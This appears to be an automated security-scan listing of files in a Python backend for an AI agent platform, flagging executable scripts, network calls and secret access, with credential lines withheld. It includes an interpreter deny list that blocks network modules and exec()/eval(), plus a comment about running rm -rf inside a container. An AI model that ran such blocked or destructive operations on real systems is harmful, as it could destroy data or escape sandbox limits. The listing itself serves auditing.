backend/app/core/agent/code_agent/interpreter/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/code_agent/interpreter/ast_evaluator.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/interpreter/security.py
- Executable scriptline 1
#!/usr/bin/env python - Network accessline 226
"urllib.parse", "urllib.error", "http.client", - Network accessline 227
"urllib.error", "http.client", "http.server", - Network accessline 228
"http.client", - Dangerous shell operationline 358
(r"\bexec\s*\(", "Use of exec()"), - Dangerous shell operationline 359
(r"\beval\s*\(", "Use of eval()"),
backend/app/core/agent/code_agent/loop.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/memory.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/monitoring.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/parser.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/planning.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/tools.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/utils.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/langfuse_callback.py
- Executable scriptline 1
Executable file - Network accessline 30
- LANGFUSE_PUBLIC_KEY - LANGFUSE_SECRET_KEY - LANGFUSE_HOST (optional, defaults to https://cloud.langfuse.com) - Network accessline 32
- LANGFUSE_HOST (optional, defaults to https://cloud.langfuse.com) - Access to secretsline 39
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Network accessline 65
host = os.getenv("LANGFUSE_HOST", "https://cloud.langfuse.com") - Access to secretsline 81
[Credential-related source omitted]
backend/app/core/agent/memory/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/memory/manager.py
- Executable scriptline 1
Executable file
backend/app/core/agent/memory/strategies/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/memory/strategies/base.py
- Executable scriptline 1
Executable file
backend/app/core/agent/memory/strategies/summarize.py
- Executable scriptline 1
Executable file
backend/app/core/agent/memory/strategies/types.py
- Executable scriptline 1
Executable file
backend/app/core/agent/middleware/SKILL_MIDDLEWARE.md
- Network accessline 556
- [Skill 架构设计文档](../../skill/ARCHITECTURE.md) - 完整的架构设计和分层说明 - [LangChain Skills Pattern](https://docs.langchain.com/oss/python/langchain/multi-agent/skills-sql-assistant) - Network accessline 557
- [LangChain Skills Pattern](https://docs.langchain.com/oss/python/langchain/multi-agent/skills-sql-assistant) - Network accessline 558
- [Progressive Disclosure](https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills)
backend/app/core/agent/middleware/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/middleware/logging.py
- Executable scriptline 1
Executable file
backend/app/core/agent/middleware/memory_iteration_with_db.py
- Executable scriptline 1
Executable file
backend/app/core/agent/node_tools.py
- Executable scriptline 1
Executable file
backend/app/core/agent/sample_agent.py
- Executable scriptline 1
Executable file - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted]
backend/app/core/ai_adapter.py
- Executable scriptline 1
Executable file
backend/app/core/code_executor.py
backend/app/core/constants.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/action_applier.py
backend/app/core/copilot/action_types.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/action_validator.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/agent.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/exceptions.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/graph_analyzer.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/message_builder.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/prompt_builder.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/response_parser.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tool_output_parser.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/analysis.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/context.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/core.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/layout.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/models.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/registry.py
- Executable scriptline 1
Executable file
backend/app/core/copilot/tools/think.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/artifacts.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/layout.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/manager.py
backend/app/core/copilot_deepagents/prompts.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/runner.py
backend/app/core/copilot_deepagents/schemas.py
- Executable scriptline 1
Executable file
backend/app/core/copilot_deepagents/utils.py
- Executable scriptline 1
Executable file
backend/app/core/database.py
- Executable scriptline 1
Executable file
backend/app/core/graph/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/agent_factory.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/builder.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/config.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/middleware.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/model_resolver.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/skills_loader.py
- Executable scriptline 1
Executable file
backend/app/core/graph/deep_agents/tool_resolver.py
- Executable scriptline 1
Executable file
backend/app/core/graph/node_secrets.py
- Executable scriptline 1
Executable file
backend/app/core/graph/runtime_prompt_template.py
- Executable scriptline 1
Executable file
backend/app/core/model/MODEL.md
- Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Network accessline 178
[Credential-related source omitted] - Network accessline 179
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Network accessline 180
"base_url": "https://api.openai.com/v1" - Access to secretsline 210
[Credential-related source omitted]
backend/app/core/model/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/model/factory.py
- Executable scriptline 1
Executable file
backend/app/core/model/providers/Anthropic.py
- Executable scriptline 1
Executable file - Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted]
backend/app/core/model/providers/Custom.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted]
backend/app/core/model/providers/Gemini.py
- Executable scriptline 1
Executable file - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted]
backend/app/core/model/providers/Ollama.py
- Executable scriptline 1
Executable file - Network accessline 23
url = f"{base_url.rstrip('/')}/api/tags" with httpx.Client(timeout=_OLLAMA_API_TIMEOUT) as client: - Network accessline 24
with httpx.Client(timeout=_OLLAMA_API_TIMEOUT) as client: - Network accessline 52
DEFAULT_BASE_URL = "http://localhost:11434" - Network accessline 70
"type": "string", "title": "Ollama Server URL", "description": "Ollama server URL, default http://localhost:11434", - Network accessline 71
"title": "Ollama Server URL", "description": "Ollama server URL, default http://localhost:11434", "default": "http://localhost:11434", - Network accessline 72
"description": "Ollama server URL, default http://localhost:11434", - Network accessline 73
"default": "http://localhost:11434", - Access to secretsline 172
[Credential-related source omitted]
backend/app/core/model/providers/OpenaiApiCompatible.py
- Executable scriptline 1
Executable file - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 267
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Access to secretsline 276
[Credential-related source omitted]
backend/app/core/model/providers/PROVIDERS.md
- Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 202
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Network accessline 204
MYPROVIDER_BASE_URL=https://api.example.com/v1 - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 293
[Credential-related source omitted] - Access to secretsline 294
[Credential-related source omitted] - Access to secretsline 335
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted]
backend/app/core/model/providers/Zhipu.py
- Executable scriptline 1
Executable file - Network accessline 54
base_url_prop = schema["properties"]["base_url"] base_url_prop["description"] = "Zhipu API base URL (leave empty to use default)" base_url_prop["default"] = "https://open.bigmodel.cn/api/paas/v4/" - Network accessline 56
base_url_prop["default"] = "https://open.bigmodel.cn/api/paas/v4/" - Network accessline 65
creds = credentials.copy() if not creds.get("base_url"): creds["base_url"] = "https://open.bigmodel.cn/api/paas/v4/" - Network accessline 67
creds["base_url"] = "https://open.bigmodel.cn/api/paas/v4/" - Network accessline 79
creds = credentials.copy() if not creds.get("base_url"): creds["base_url"] = "https://open.bigmodel.cn/api/paas/v4/" - Network accessline 81
creds["base_url"] = "https://open.bigmodel.cn/api/paas/v4/"
backend/app/core/model/providers/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/model/providers/base.py
- Executable scriptline 1
Executable file
backend/app/core/model/utils/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/model/utils/encryption.py
- Executable scriptline 1
Executable file
backend/app/core/model/utils/model_ref.py
- Executable scriptline 1
Executable file
backend/app/core/model/wrappers/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/model/wrappers/base.py
- Executable scriptline 1
Executable file
backend/app/core/model/wrappers/chat_model.py
- Executable scriptline 1
Executable file
backend/app/core/oauth/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/oauth/config.py
- Executable scriptline 1
Executable file - Access to secretsline 26
[Credential-related source omitted] - Network accessline 28
PROVIDER_TEMPLATES: Dict[str, Dict[str, Any]] = { "github": { "authorize_url": "https://github.com/login/oauth/authorize", - Network accessline 29
"github": { "authorize_url": "https://github.com/login/oauth/authorize", "token_url": "https://github.com/login/oauth/access_token", - Network accessline 30
"authorize_url": "https://github.com/login/oauth/authorize", - Network accessline 31
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
"userinfo_url": "https://api.github.com/user", - Network accessline 43
}, "google": { "authorize_url": "https://accounts.google.com/o/oauth2/v2/auth", - Network accessline 44
"google": { "authorize_url": "https://accounts.google.com/o/oauth2/v2/auth", "token_url": "https://oauth2.googleapis.com/token", - Network accessline 45
"authorize_url": "https://accounts.google.com/o/oauth2/v2/auth", - Network accessline 46
"token_url": "https://oauth2.googleapis.com/token", - Network accessline 47
"userinfo_url": "https://openidconnect.googleapis.com/v1/userinfo", - Network accessline 58
"authorize_url": "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize", - Network accessline 59
"token_url": "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token", - Network accessline 60
"userinfo_url": "https://graph.microsoft.com/oidc/userinfo", - Network accessline 69
}, "gitlab": { "authorize_url": "https://gitlab.com/oauth/authorize", - Network accessline 70
"gitlab": { "authorize_url": "https://gitlab.com/oauth/authorize", "token_url": "https://gitlab.com/oauth/token", - Network accessline 71
"authorize_url": "https://gitlab.com/oauth/authorize", - Network accessline 72
"token_url": "https://gitlab.com/oauth/token", - Network accessline 73
"userinfo_url": "https://gitlab.com/api/v4/user", - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 284
[Credential-related source omitted] - Network accessline 306
try: async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 307
async with httpx.AsyncClient(timeout=10.0) as client:
backend/app/core/oauth/factory.py
- Executable scriptline 1
Executable file
backend/app/core/oauth/protocols/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/oauth/protocols/base.py
- Executable scriptline 1
Executable file
backend/app/core/oauth/protocols/jd_sso.py
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Network accessline 179
try: async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 180
async with httpx.AsyncClient(timeout=10.0) as client:
backend/app/core/oauth/protocols/oauth2.py
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 127
async with httpx.AsyncClient(timeout=10.0) as client: - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Network accessline 173
async with httpx.AsyncClient(timeout=10.0) as client: - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 195
try: async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 196
async with httpx.AsyncClient(timeout=10.0) as client: - Network accessline 197
response = await client.get( "https://api.github.com/user/emails", headers={ - Network accessline 198
"https://api.github.com/user/emails", - Access to secretsline 200
[Credential-related source omitted]
backend/app/core/rate_limit.py
- Executable scriptline 1
Executable file
backend/app/core/redis.py
- Executable scriptline 1
Executable file
backend/app/core/security.py
backend/app/core/settings.py
- Executable scriptline 1
Executable file - Access to secretsline 20
[Credential-related source omitted] - Network accessline 25
try: with socket.create_connection((host, port), timeout=timeout_seconds): - Network accessline 26
with socket.create_connection((host, port), timeout=timeout_seconds): - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 230
[Credential-related source omitted] - Network accessline 265
cors_origins: List[str] = Field( default=["http://localhost:3000", "http://localhost:3001"], - Network accessline 266
default=["http://localhost:3000", "http://localhost:3001"], - Network accessline 277
# support JSON array format, e.g. ["http://localhost:3000"] - Network accessline 301
frontend_url: str = Field( default="http://localhost:3001", - Network accessline 302
default="http://localhost:3001", - Network accessline 342
langfuse_secret_key: Optional[str] = Field(default=None, description="Langfuse secret key for observability") langfuse_host: Optional[str] = Field( default="https://cloud.langfuse.com", description="Langfuse host URL (default: c - Network accessline 343
langfuse_host: Optional[str] = Field( default="https://cloud.langfuse.com", description="Langfuse host URL (default: cloud.langfuse.com)" ) - Network accessline 344
default="https://cloud.langfuse.com", description="Langfuse host URL (default: cloud.langfuse.com)" - Network accessline 351
uv_index_url: str = Field( default="https://pypi.org/simple", - Network accessline 352
default="https://pypi.org/simple",
backend/app/core/skill/ARCHITECTURE.md
backend/app/core/skill/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/skill/exceptions.py
- Executable scriptline 1
Executable file
backend/app/core/skill/sandbox_loader.py
- Executable scriptline 1
Executable file
backend/app/core/skill/validators.py
backend/app/core/skill/yaml_parser.py
- Executable scriptline 1
Executable file
backend/app/core/tools/builtin/preview_skill.py
backend/app/core/tools/builtin/research_tools.py
- Executable scriptline 1
Executable file - Access to secretsline 23
[Credential-related source omitted] - Network accessline 42
try: response = httpx.get(url, headers=headers, timeout=timeout) - Network accessline 43
response = httpx.get(url, headers=headers, timeout=timeout) - Access to secretsline 71
[Credential-related source omitted]
backend/app/core/tools/mcp/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/tools/mcp/mcp.py
- Executable scriptline 1
Executable file
backend/app/core/tools/mcp/multi_mcp.py
- Executable scriptline 1
Executable file
backend/app/core/tools/mcp/params.py
- Executable scriptline 1
Executable file
backend/app/core/tools/mcp_tool_utils.py
- Executable scriptline 1
Executable file
backend/app/core/tools/sandbox/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/tools/sandbox/modal.py
- Executable scriptline 1
Executable file - Network accessline 108
""" # This implementation relies on the Modal sandbox file API. # https://modal.com/doc/guide/sandbox-files - Network accessline 109
# This implementation relies on the Modal sandbox file API. # https://modal.com/doc/guide/sandbox-files # The API is currently in alpha and is not recommended for production use. - Network accessline 110
# https://modal.com/doc/guide/sandbox-files - Network accessline 135
""" # This implementation relies on the Modal sandbox file API. # https://modal.com/doc/guide/sandbox-files - Network accessline 136
# This implementation relies on the Modal sandbox file API. # https://modal.com/doc/guide/sandbox-files # The API is currently in alpha and is not recommended for production use. - Network accessline 137
# https://modal.com/doc/guide/sandbox-files
backend/app/core/tools/sandbox/runloop.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted]
backend/app/core/tools/sandbox/sandbox_factory.py
backend/app/core/tools/skill/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/tools/tool.py
- Executable scriptline 1
Executable file
backend/app/core/tools/tool_registry.py
- Executable scriptline 1
Executable file
backend/app/core/tools/toolkit.py
- Executable scriptline 1
Executable file
backend/app/core/trace_context.py
- Executable scriptline 1
Executable file
backend/app/main.py
backend/app/models/__init__.py
- Executable scriptline 1
Executable file
backend/app/models/access_control.py
- Executable scriptline 1
Executable file
backend/app/models/agent_run.py
- Executable scriptline 1
Executable file
backend/app/models/auth.py
- Executable scriptline 1
Executable file
backend/app/models/base.py
- Executable scriptline 1
Executable file
backend/app/models/chat.py
- Executable scriptline 1
Executable file
backend/app/models/conversation.py
- Executable scriptline 1
Executable file
backend/app/models/custom_tool.py
- Executable scriptline 1
Executable file
backend/app/models/enums.py
- Executable scriptline 1
Executable file
backend/app/models/execution_trace.py
- Executable scriptline 1
Executable file
backend/app/models/graph.py
- Executable scriptline 1
Executable file
backend/app/models/graph_deployment_version.py
- Executable scriptline 1
Executable file
backend/app/models/graph_execution.py
- Executable scriptline 1
Executable file
backend/app/models/mcp.py
- Executable scriptline 1
Executable file
backend/app/models/memory.py
- Executable scriptline 1
Executable file
backend/app/models/message.py
- Executable scriptline 1
Executable file
backend/app/models/model_credential.py
- Executable scriptline 1
Executable file
backend/app/models/model_instance.py
- Executable scriptline 1
Executable file
backend/app/models/model_provider.py
- Executable scriptline 1
Executable file
backend/app/models/model_usage_log.py
- Executable scriptline 1
Executable file
backend/app/models/oauth_account.py
backend/app/models/openclaw_instance.py
- Executable scriptline 1
Executable file
backend/app/models/organization.py
- Executable scriptline 1
Executable file
backend/app/models/platform_token.py
- Executable scriptline 1
Executable file
backend/app/models/security_audit_log.py
- Executable scriptline 1
Executable file
backend/app/models/settings.py
- Executable scriptline 1
Executable file
backend/app/models/skill.py
- Executable scriptline 1
Executable file
backend/app/models/skill_collaborator.py
- Executable scriptline 1
Executable file
backend/app/models/skill_version.py
- Executable scriptline 1
Executable file
backend/app/models/user_sandbox.py
- Executable scriptline 1
Executable file
backend/app/models/workspace.py
- Executable scriptline 1
Executable file
backend/app/models/workspace_files.py
- Executable scriptline 1
Executable file
backend/app/repositories/__init__.py
- Executable scriptline 1
Executable file
backend/app/repositories/agent_run.py
- Executable scriptline 1
Executable file
backend/app/repositories/auth_session.py
- Executable scriptline 1
Executable file
backend/app/repositories/auth_user.py
- Executable scriptline 1
Executable file
backend/app/repositories/base.py
- Executable scriptline 1
Executable file
backend/app/repositories/custom_tool.py
- Executable scriptline 1
Executable file
backend/app/repositories/graph.py
- Executable scriptline 1
Executable file
backend/app/repositories/graph_deployment_version.py
- Executable scriptline 1
Executable file
backend/app/repositories/graph_execution.py
- Executable scriptline 1
Executable file
backend/app/repositories/mcp_server.py
- Executable scriptline 1
Executable file
backend/app/repositories/model_credential.py
- Executable scriptline 1
Executable file
backend/app/repositories/model_instance.py
- Executable scriptline 1
Executable file
backend/app/repositories/model_provider.py
- Executable scriptline 1
Executable file
backend/app/repositories/model_usage_log.py
- Executable scriptline 1
Executable file
backend/app/repositories/organization.py
- Executable scriptline 1
Executable file
backend/app/repositories/platform_token.py
- Executable scriptline 1
Executable file
backend/app/repositories/skill.py
- Executable scriptline 1
Executable file
backend/app/repositories/skill_collaborator.py
- Executable scriptline 1
Executable file
backend/app/repositories/skill_version.py
- Executable scriptline 1
Executable file
backend/app/repositories/user.py
- Executable scriptline 1
Executable file
backend/app/repositories/workspace.py
- Executable scriptline 1
Executable file
backend/app/repositories/workspace_file.py
- Executable scriptline 1
Executable file
backend/app/repositories/workspace_folder.py
- Executable scriptline 1
Executable file
backend/app/schemas/__init__.py
- Executable scriptline 1
Executable file
backend/app/schemas/base.py
- Executable scriptline 1
Executable file
backend/app/schemas/chat.py
- Executable scriptline 1
Executable file
backend/app/schemas/common.py
- Executable scriptline 1
Executable file
backend/app/schemas/conversation.py
- Executable scriptline 1
Executable file
backend/app/schemas/graph_deployment_version.py
- Executable scriptline 1
Executable file
backend/app/schemas/mcp.py
- Executable scriptline 1
Executable file
backend/app/schemas/memory.py
- Executable scriptline 1
Executable file
backend/app/schemas/platform_token.py
- Executable scriptline 1
Executable file
backend/app/schemas/runs.py
- Executable scriptline 1
Executable file
backend/app/schemas/skill.py
- Executable scriptline 1
Executable file
backend/app/schemas/skill_collaborator.py
- Executable scriptline 1
Executable file
backend/app/schemas/skill_version.py
- Executable scriptline 1
Executable file
backend/app/schemas/user.py
- Executable scriptline 1
Executable file
backend/app/schemas/validators.py
- Executable scriptline 1
Executable file
backend/app/services/MODEL.md
backend/app/services/__init__.py
- Executable scriptline 1
Executable file
backend/app/services/agent_registry.py
- Executable scriptline 1
Executable file
backend/app/services/auth_service.py
- Executable scriptline 1
Executable file - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted]
backend/app/services/auth_session_service.py
- Executable scriptline 1
Executable file
backend/app/services/base.py
- Executable scriptline 1
Executable file
backend/app/services/copilot_service.py
- Executable scriptline 1
Executable file
backend/app/services/custom_tool_service.py
- Executable scriptline 1
Executable file
backend/app/services/email_service.py
- Executable scriptline 1
Executable file
backend/app/services/environment_service.py
- Executable scriptline 1
Executable file
backend/app/services/graph_deployment_version_service.py
- Executable scriptline 1
Executable file
backend/app/services/graph_service.py
- Executable scriptline 1
Executable file
backend/app/services/login_init.py
- Executable scriptline 1
Executable file
backend/app/services/mcp_client_service.py
- Executable scriptline 1
Executable file
backend/app/services/mcp_server_service.py
- Executable scriptline 1
Executable file
backend/app/services/mcp_toolkit_manager.py
- Executable scriptline 1
Executable file
backend/app/services/memory_service.py
- Executable scriptline 1
Executable file
backend/app/services/model_credential_service.py
- Executable scriptline 1
Executable file
backend/app/services/model_provider_service.py
- Executable scriptline 1
Executable file
backend/app/services/model_service.py
- Executable scriptline 1
Executable file
backend/app/services/model_usage_service.py
- Executable scriptline 1
Executable file
backend/app/services/oauth_service.py
- Executable scriptline 1
Executable file - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Access to secretsline 208
[Credential-related source omitted] - Network accessline 210
try: async with httpx.AsyncClient(timeout=30.0) as client: - Network accessline 211
async with httpx.AsyncClient(timeout=30.0) as client: - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 270
[Credential-related source omitted] - Network accessline 274
try: async with httpx.AsyncClient(timeout=30.0) as client: - Network accessline 275
async with httpx.AsyncClient(timeout=30.0) as client: - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 296
[Credential-related source omitted] - Network accessline 298
try: async with httpx.AsyncClient(timeout=30.0) as client: - Network accessline 299
async with httpx.AsyncClient(timeout=30.0) as client: - Network accessline 300
response = await client.get( "https://api.github.com/user/emails", headers={ - Network accessline 301
"https://api.github.com/user/emails", - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 496
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 514
[Credential-related source omitted]
backend/app/services/openapi_graph_service.py
- Executable scriptline 1
Executable file
backend/app/services/openclaw_instance_service.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 76
container_name = f"openclaw-user-{instance.user_id[:12]}" return f"http://{container_name}:18789" - Network accessline 77
return f"http://{container_name}:18789" - Network accessline 80
return f"http://127.0.0.1:{instance.gateway_port}" - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Access to secretsline 234
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Network accessline 292
while asyncio.get_event_loop().time() < deadline: try: async with httpx.AsyncClient(timeout=3) as client: - Network accessline 293
try: async with httpx.AsyncClient(timeout=3) as client: resp = await client.options(url) - Network accessline 294
async with httpx.AsyncClient(timeout=3) as client: - Network accessline 322
try: url = f"{self.get_gateway_url(instance)}/v1/chat/completions" async with httpx.AsyncClient(timeout=5) as client: - Network accessline 323
url = f"{self.get_gateway_url(instance)}/v1/chat/completions" async with httpx.AsyncClient(timeout=5) as client: resp = await client.options(url) - Network accessline 324
async with httpx.AsyncClient(timeout=5) as client: - Dangerous shell operationline 542
# Execute rm -rf directly in the container
backend/app/services/organization_service.py
- Executable scriptline 1
Executable file
backend/app/services/platform_token_service.py
- Executable scriptline 1
Executable file
backend/app/services/run_reducers/__init__.py
- Executable scriptline 1
Executable file
backend/app/services/run_reducers/chat.py
- Executable scriptline 1
Executable file
backend/app/services/run_reducers/copilot.py
- Executable scriptline 1
Executable file
backend/app/services/run_reducers/skill_creator.py
- Executable scriptline 1
Executable file
backend/app/services/run_service.py
- Executable scriptline 1
Executable file
backend/app/services/sandbox_handle.py
- Executable scriptline 1
Executable file
backend/app/services/sandbox_manager.py
- Executable scriptline 1
Executable file
backend/app/services/sandbox_pool.py
- Executable scriptline 1
Executable file
backend/app/services/security_audit_service.py
- Executable scriptline 1
Executable file
backend/app/services/session_service.py
- Executable scriptline 1
Executable file
backend/app/services/skill_collaborator_service.py
- Executable scriptline 1
Executable file
backend/app/services/skill_service.py
- Executable scriptline 1
Executable file
backend/app/services/skill_version_service.py
- Executable scriptline 1
Executable file
backend/app/services/tool_service.py
- Executable scriptline 1
Executable file
backend/app/services/trace_service.py
- Executable scriptline 1
Executable file
backend/app/services/user_service.py
- Executable scriptline 1
Executable file
backend/app/services/workspace_file_service.py
- Executable scriptline 1
Executable file
backend/app/services/workspace_folder_service.py
- Executable scriptline 1
Executable file
backend/app/services/workspace_permission.py
- Executable scriptline 1
Executable file
backend/app/services/workspace_service.py
- Executable scriptline 1
Executable file
backend/app/utils/__init__.py
- Executable scriptline 1
Executable file
backend/app/utils/backend_utils.py
- Executable scriptline 1
Executable file
backend/app/utils/datetime.py
- Executable scriptline 1
Executable file
backend/app/utils/file_event_emitter.py
- Executable scriptline 1
Executable file
backend/app/utils/mcp.py
backend/app/utils/mcp_tool_builder.py
- Executable scriptline 1
Executable file
backend/app/utils/media.py
- Executable scriptline 1
